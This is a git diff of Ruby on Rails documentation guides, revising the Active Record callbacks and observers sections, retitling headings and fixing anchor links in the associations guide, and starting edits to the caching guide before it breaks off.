@@ If you pass +nil+ to any of these options, it will get rid of the respective sec h4. Customizing the Error Messages CSS -It's also possible to change the CSS classes used by the +error_messages+ helper. These classes are automatically defined at the *scaffold.css* file, generated by the scaffold script. If you're not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes. +The selectors to customize the style of error messages are: -* +.fieldWithErrors+ - Style for the form fields with errors. +* +.fieldWithErrors+ - Style for the form fields and labels with errors. * +#errorExplanation+ - Style for the +div+ element with the error messages. * +#errorExplanation h2+ - Style for the header of the +div+ element. * +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. -* +#errorExplanation ul li+ - Style for the list of error messages. +* +#errorExplanation ul li+ - Style for the list items with individual error messages. + +Scaffolding for example generates +public/stylesheets/scaffold.css+, which defines the red-based style you saw above. + +The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. h4. Customizing the Error Messages HTML -By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, it's possible to override the way Rails treats those fields by default. +By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, it's possible to override that. + +The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters: + +* A string with the HTML tag +* An instance of +ActionView::Helpers::InstanceTag+. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. <ruby> ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| if instance.error_message.kind_of?(Array) - %(#{html_tag}<span class='validation-error'> + %(#{html_tag}<span class="validation-error"> #{instance.error_message.join(',')}</span>) else - %(#{html_tag}<span class='validation-error'> + %(#{html_tag}<span class="validation-error"> #{instance.error_message}</span>) end end </ruby> -This will result in something like the following content: +This will result in something like the following: !images/validation_error_messages.png(Validation error messages)! -The way form fields with errors are treated is defined by the +ActionView::Base.field_error_proc+ Ruby Proc. This Proc receives two parameters: - -* A string with the HTML tag -* An object of the +ActionView::Helpers::InstanceTag+ class. - h3. Callbacks Overview -Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database. - -# TODO discuss what does/doesn't trigger callbacks, like we did in the validations section (e.g. destroy versus delete). -# Consider moving up to the (new) intro overview section, before getting into details. -# http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M002220 -# http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html +Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. h4. Callback Registration -In order to use the available callbacks, you need to register them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks. +In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. <ruby> class User < ActiveRecord::Base @@ -741,7 +770,7 @@ class User < ActiveRecord::Base protected def ensure_login_has_a_value - if self.login.nil? + if login.nil? self.login = email unless email.blank? end end @@ -754,19 +783,166 @@ The macro-style class methods can also receive a block. Consider using this styl class User < ActiveRecord::Base validates_presence_of :login, :email - before_create {|user| user.name = user.login.capitalize if user.name.blank?} + before_create {|user| user.name = user.login.capitalize + if user.name.blank?} end </ruby> It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. +h3. Available Callbacks + +Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations: + +h4. Creating an Object + +* +before_validation+ +* +before_validation_on_create+ +* +after_validation+ +* +after_validation_on_create+ +* +before_save+ +* +before_create+ +* INSERT OPERATION +* +after_create+ +* +after_save+ + +h4. Updating an Object + +* +before_validation+ +* +before_validation_on_update+ +* +after_validation+ +* +after_validation_on_update+ +* +before_save+ +* +before_update+ +* UPDATE OPERATION +* +after_update+ +* +after_save+ + +h4. Destroying an Object + +* +before_destroy+ +* DELETE OPERATION +* +after_destroy+ + +WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed. + +h4. +after_initialize+ and +after_find+ + +The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method. + +The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. + +The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. + +<ruby> +class User < ActiveRecord::Base + def after_initialize + puts "You have initialized an object!" + end + + def after_find + puts "You have found an object!" + end +end + +>> User.new +You have initialized an object! +=> #<User id: nil> + +>> User.first +You have found an object! +You have initialized an object! +=> #<User id: 1> +</ruby> + +h3. Running Callbacks + +The following methods trigger callbacks: + +* +create+ +* +create!+ +* +decrement!+ +* +destroy+ +* +destroy_all+ +* +increment!+ +* +save+ +* +save!+ +* +save(false)+ +* +toggle!+ +* +update+ +* +update_attribute+ +* +update_attributes+ +* +update_attributes!+ +* +valid?+ + +Additionally, the +after_find+ callback is triggered by the following finder methods: + +* +all+ +* +first+ +* +find+ +* +find_all_by_<em>attribute</em>+ +* +find_by_<em>attribute</em>+ +* +find_by_<em>attribute</em>!+ +* +last+ + +The +after_initialize+ callback is triggered every time a new object of the class is initialized. + +h3. Skipping Callbacks + +Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. + +* +decrement+ +* +decrement_counter+ +* +delete+ +* +delete_all+ +* +find_by_sql+ +* +increment+ +* +increment_counter+ +* +toggle+ +* +update_all+ +* +update_counters+ + +h3. Halting Execution + +As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. + +The whole callback chain is wrapped in a transaction. If any before callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued. After callbacks can only accomplish that by raising an exception. + +WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. + +h3. Relational Callbacks + +Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. + +<ruby> +class User < ActiveRecord::Base + has_many :posts, :dependent => :destroy +end + +class Post < ActiveRecord::Base + after_destroy :log_destroy_action + + def log_destroy_action + puts 'Post destroyed' + end +end + +>> user = User.first +=> #<User id: 1> +>> user.posts.create! +=> #<Post id: 1, user_id: 1> +>> user.destroy +Post destroyed +=> #<User id: 1> +</ruby> + h3. Conditional Callbacks -Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. +Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. -h4. Using :if and :unless with a Symbol +h4. Using +:if+ and +:unless+ with a Symbol -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check the if the callback should be executed. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. <ruby> class Order < ActiveRecord::Base @@ -774,9 +950,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using :if and :unless with a String +h4. Using +:if+ and +:unless+ with a String -You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. <ruby> class Order < ActiveRecord::Base @@ -784,9 +960,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using :if and :unless with a Proc +h4. Using +:if+ and +:unless+ with a Proc -Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners. +Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. <ruby> class Order < ActiveRecord::Base @@ -806,64 +982,17 @@ class Comment < ActiveRecord::Base end </ruby> -h3. Available Callbacks - -Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations. - -h4. Creating and/or Updating an Object - -* +before_validation+ -* +after_validation+ -* +before_save+ -* INSERT OR UPDATE OPERATION -* +after_save+ - -h4. Creating an Object - -* +before_validation_on_create+ -* +after_validation_on_create+ -* +before_create+ -* INSERT OPERATION -* +after_create+ - -h4. Updating an Object - -* +before_validation_on_update+ -* +after_validation_on_update+ -* +before_update+ -* UPDATE OPERATION -* +after_update+ - -h4. Destroying an Object - -* +before_destroy+ -* DELETE OPERATION -* +after_destroy+ - -CAUTION: The +before_destroy+ and +after_destroy+ callbacks will only be called if you delete the model using either the +destroy+ instance method or one of the +destroy+ or +destroy_all+ class methods of your Active Record class. If you use +delete+ or +delete_all+ no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database. - -h4. after_initialize and after_find - -The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method. - -The +after_find+ callback will be called whenever Active Record loads a record from the database. When used together with +after_initialize+ it will run first, since Active Record will first read the record from the database and them create the model object that will hold it. - -The +after_initialize+ and +after_find+ callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. - -h3. Halting Execution - -As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the +before_create+, +before_save+, +before_update+ or +before_destroy+ callback methods returns a boolean +false+ (not +nil+) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It's because the whole callback chain is wrapped in a transaction, so raising an exception or returning +false+ fires a database ROLLBACK. - h3. Callback Classes -Sometimes the callback methods that you'll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. +Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with a after_destroy callback for a PictureFile model. +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. <ruby> class PictureFileCallbacks def after_destroy(picture_file) - File.delete(picture_file.filepath) if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + if File.exists?(picture_file.filepath) end end </ruby> @@ -876,17 +1005,18 @@ class PictureFile < ActiveRecord::Base end </ruby> -Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. <ruby> class PictureFileCallbacks def self.after_destroy(picture_file) - File.delete(picture_file.filepath) if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + if File.exists?(picture_file.filepath) end end </ruby> -If the callback method is declared this way, it won't be necessary to instantiate a PictureFileCallbacks object. +If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object. <ruby> class PictureFile < ActiveRecord::Base @@ -898,9 +1028,9 @@ You can declare as many callbacks as you want inside your callback classes. h3. Observers -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. -h4. Creating observers +h4. Creating Observers For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. @@ -916,18 +1046,18 @@ As with callback classes, the observer's methods receive the observed model as a h4. Registering Observers -Observers should be placed inside of your *app/models* directory and registered in your application's *config/environment.rb* file. For example, the +UserObserver+ above would be saved as *app/models/user_observer.rb* and registered in *config/environment.rb*. +Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/environment.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/environment.rb+ this way: <ruby> # Activate observers that should always be running config.active_record.observers = :user_observer </ruby> -As usual, settings in *config/environments/* take precedence over those in *config/environment.rb*. So, if you prefer that an observer not run in all environments, you can simply register it in a specific environment instead. +As usual, settings in +config/environments+ take precedence over those in +config/environment.rb+. So, if you prefer that an observer not run in all environments, you can simply register it in a specific environment instead. h4. Sharing Observers -By default, Rails will simply strip 'observer' from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe. +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe. <ruby> class MailerObserver < ActiveRecord::Observer @@ -939,7 +1069,7 @@ class MailerObserver < ActiveRecord::Observer end </ruby> -In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in *config/environment.rb* in order to take effect. +In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/environment.rb+ in order to take effect. <ruby> # Activate observers that should always be running @@ -950,6 +1080,7 @@ h3. Changelog "Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks +* March 7, 2009: Callbacks revision by Trevor Turk * February 10, 2009: Observers revision by Trevor Turk * February 5, 2009: Initial revision by Trevor Turk * January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index 3c03c825cd..03e22bd6fe 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -76,7 +76,7 @@ In Rails, an _association_ is a connection between two Active Record models. Ass In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. -h4. The +belongs_to+ association +h4. The +belongs_to+ Association A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way: @@ -88,7 +88,7 @@ end !images/belongs_to.png(belongs_to Association Diagram)! -h4. The +has_one+ association +h4. The +has_one+ Association A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: @@ -100,7 +100,7 @@ end !images/has_one.png(has_one Association Diagram)! -h4. The +has_many+ association +h4. The +has_many+ Association A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this: @@ -114,7 +114,7 @@ NOTE: The name of the other model is pluralized when declaring a +has_many+ asso !images/has_many.png(has_many Association Diagram)! -h4. The +has_many :through+ association +h4. The +has_many :through+ Association A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: @@ -155,7 +155,7 @@ class Paragraph < ActiveRecord::Base end </ruby> -h4. The +has_one :through+ association +h4. The +has_one :through+ Association A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: @@ -177,7 +177,7 @@ end !images/has_one_through.png(has_one :through Association Diagram)! -h4. The +has_and_belongs_to_many+ association +h4. The +has_and_belongs_to_many+ Association A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: @@ -193,7 +193,7 @@ end !images/habtm.png(has_and_belongs_to_many Association Diagram)! -h4. Choosing between +belongs_to+ and +has_one+ +h4. Choosing Between +belongs_to+ and +has_one+ If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? @@ -235,7 +235,7 @@ end NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead. -h4. Choosing between +has_many :through+ and +has_and_belongs_to_many+ +h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+ Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly: @@ -272,7 +272,7 @@ The simplest rule of thumb is that you should set up a +has_many :through+ relat You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model. -h4. Polymorphic associations +h4. Polymorphic Associations A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: @@ -333,7 +333,7 @@ end !images/polymorphic.png(Polymorphic Association Diagram)! -h4. Self joins +h4. Self Joins In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations: @@ -356,7 +356,7 @@ Here are a few things you should know to make efficient use of Active Record ass * Updating the schema * Controlling association scope -h4. Controlling caching +h4. Controlling Caching All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: @@ -375,15 +375,15 @@ customer.orders(true).empty? # discards the cached copy of orders # and goes back to the database </ruby> -h4. Avoiding name collisions +h4. Avoiding Name Collisions You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations. -h4. Updating the schema +h4. Updating the Schema Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table. -h5. Creating foreign Keys for +belongs_to+ associations +h5. Creating Foreign Keys for +belongs_to+ Associations When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model: @@ -413,7 +413,7 @@ end If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key. -h5. Creating join tables for +has_and_belongs_to_many+ associations +h5. Creating Join Tables for +has_and_belongs_to_many+ Associations If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. @@ -450,7 +450,7 @@ end We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. -h4. Controlling association scope +h4. Controlling Association Scope By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example: @@ -510,11 +510,11 @@ h3. Detailed Association Reference The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association. -h4. +belongs_to+ association reference +h4. +belongs_to+ Association Reference The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead. -h5. Methods added by +belongs_to+ +h5. Methods Added by +belongs_to+ When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association: @@ -724,7 +724,7 @@ NOTE: There's no need to use +:include+ for immediate associations - that is, if h6. +:polymorphic+ -Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphicassociations">earlier in this guide</a>. +Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. h6. +:readonly+ @@ -740,7 +740,7 @@ h6. +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5. How to know whether there's an associated object? +h5. How To Know Whether There's an Associated Object? To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: @@ -750,15 +750,15 @@ if @order.customer.nil? end </ruby> -h5. When are objects saved? +h5. When are Objects Saved? Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either. -h4. +has_one+ association reference +h4. +has_one+ Association Reference The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead. -h5. Methods added by +has_one+ +h5. Methods Added by +has_one+ When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association: @@ -848,7 +848,7 @@ The +has_one+ association supports these options: h6. +:as+ -Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphicassociations">earlier in this guide</a>. +Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. h6. +:autosave+ @@ -952,13 +952,13 @@ The +:source_type+ option specifies the source association type for a +has_one : h6. :through -The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#thehas-onethroughassociation">earlier in this guide</a>. +The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>. h6. +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5. How to know whether there's an associated object? +h5. How To Know Whether There's an Associated Object? To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: @@ -968,7 +968,7 @@ if @supplier.account.nil? end </ruby> -h5. When are objects saved? +h5. When are Objects Saved? When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too. @@ -978,11 +978,11 @@ If the parent object (the one declaring the +has_one+ association) is unsaved (t If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method. -h4. +has_many+ association reference +h4. +has_many+ Association Reference The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class. -h5. Methods added +h5. Methods Added When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association: @@ -1158,7 +1158,7 @@ The +has_many+ association supports these options: h6. +:as+ -Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphicassociations">earlier in this guide</a>. +Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>. h6. +:autosave+ @@ -1210,7 +1210,7 @@ NOTE: This option is ignored when you use the +:through+ option on the associati h6. +:extend+ -The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#associationextensions">later in this guide</a>. +The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. h6. +:finder_sql+ @@ -1323,7 +1323,7 @@ The +:source_type+ option specifies the source association type for a +has_many h6. +:through+ -The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#thehas-manythroughassociation">earlier in this guide</a>. +The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>. h6. +:uniq+ @@ -1333,7 +1333,7 @@ h6. +:validate+ If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. -h5. When are objects saved? +h5. When are Objects Saved? When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved. @@ -1343,11 +1343,11 @@ If the parent object (the one declaring the +has_many+ association) is unsaved ( If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method. -h4. +has_and_belongs_to_many+ association reference +h4. +has_and_belongs_to_many+ Association Reference The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes. -h5. Methods added +h5. Methods Added When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association: @@ -1391,7 +1391,7 @@ assemblies.build(attributes = {}, ...) assemblies.create(attributes = {}) </ruby> -h6. Additional column methods +h6. Additional Column Methods If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes. @@ -1589,7 +1589,7 @@ Normally Rails automatically generates the proper SQL to remove links between th h6. +:extend+ -The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#associationextensions">later in this guide</a>. +The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. h6. +:finder_sql+ @@ -1670,7 +1670,7 @@ h6. +:validate+ If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. -h5. When are objects saved? +h5. When are Objects Saved? When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved. @@ -1680,7 +1680,7 @@ If the parent object (the one declaring the +has_and_belongs_to_many+ associatio If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method. -h4. Association callbacks +h4. Association Callbacks Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved. @@ -1724,7 +1724,7 @@ end If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection. -h4. Association extensions +h4. Association Extensions You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index b1c1af8be4..5c55538283 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -4,6 +4,13 @@ Everyone caches. This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to those hungry web clients in the shortest time possible. +After reading this guide, you should be able to use and configure: + +* Page, action, and fragment caching +* Sweepers +* Alternative cache stores +* Conditional GET support + endprologue. h3. Basic Caching @@ -13,8 +20,7 @@ provides by default without the use of any third party plugins. To get started make sure +config.action_controller.perform_caching+ is set to +true+ for your environment. This flag is normally set in the -corresponding config/environments/*.rb and caching is disabled by default -there for development and test, and enabled for production. +corresponding config/environments/*.rb. By default, caching is disabled for development and test, and enabled for production. <ruby> config.action_controller.perform_caching = true @@ -29,9 +35,9 @@ applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. -So, how do you enable this super-fast cache behavior? Simple, let's say you -have a controller called ProductsController and a 'list' action that lists all -the products +So, how do you enable this super-fast cache behavior? Suppose you +have a controller called +ProductsController+ and an +index+ action that lists all +the products. You could enable caching for this action like this: <ruby> class ProductsController < ActionController @@ -44,34 +50,33 @@ end </ruby> The first time anyone requests products/index, Rails will generate a file -called +index.html+ and the webserver will then look for that file before it -passes the next request for products/index to your Rails application. +called +index.html+. If a web server see this file, it will be served in response to the +next request for products/index, without your Rails application being called. By default, the page cache directory is set to Rails.public_path (which is -usually set to +RAILS_ROOT + "/public"+) and this can be configured by +usually set to +File.join(self.root, "public")+ - that is, the public directory under your Rails application's root). This can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from /public helps avoid naming conflicts, since you may want to put other static html in /public, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from. -The Page Caching mechanism will automatically add a +.html+ extension to +The page caching mechanism will automatically add a +.html+ extension to requests for pages that do not have an extension to make it easy for the -webserver to find those pages and this can be configured by changing the +webserver to find those pages. This can be configured by changing the configuration setting +config.action_controller.page_cache_extension+. -In order to expire this page when a new product is added we could extend our -example controller like this: +In order to expire this page when a new product is added you could extend the products controller like this: <ruby> class ProductsController < ActionController - caches_page :list + caches_page :index - def list; end + def index; end def create - expire_page :action => :list + expire_page :action => :index end end @@ -80,19 +85,19 @@ end If you want a more complicated expiration scheme, you can use 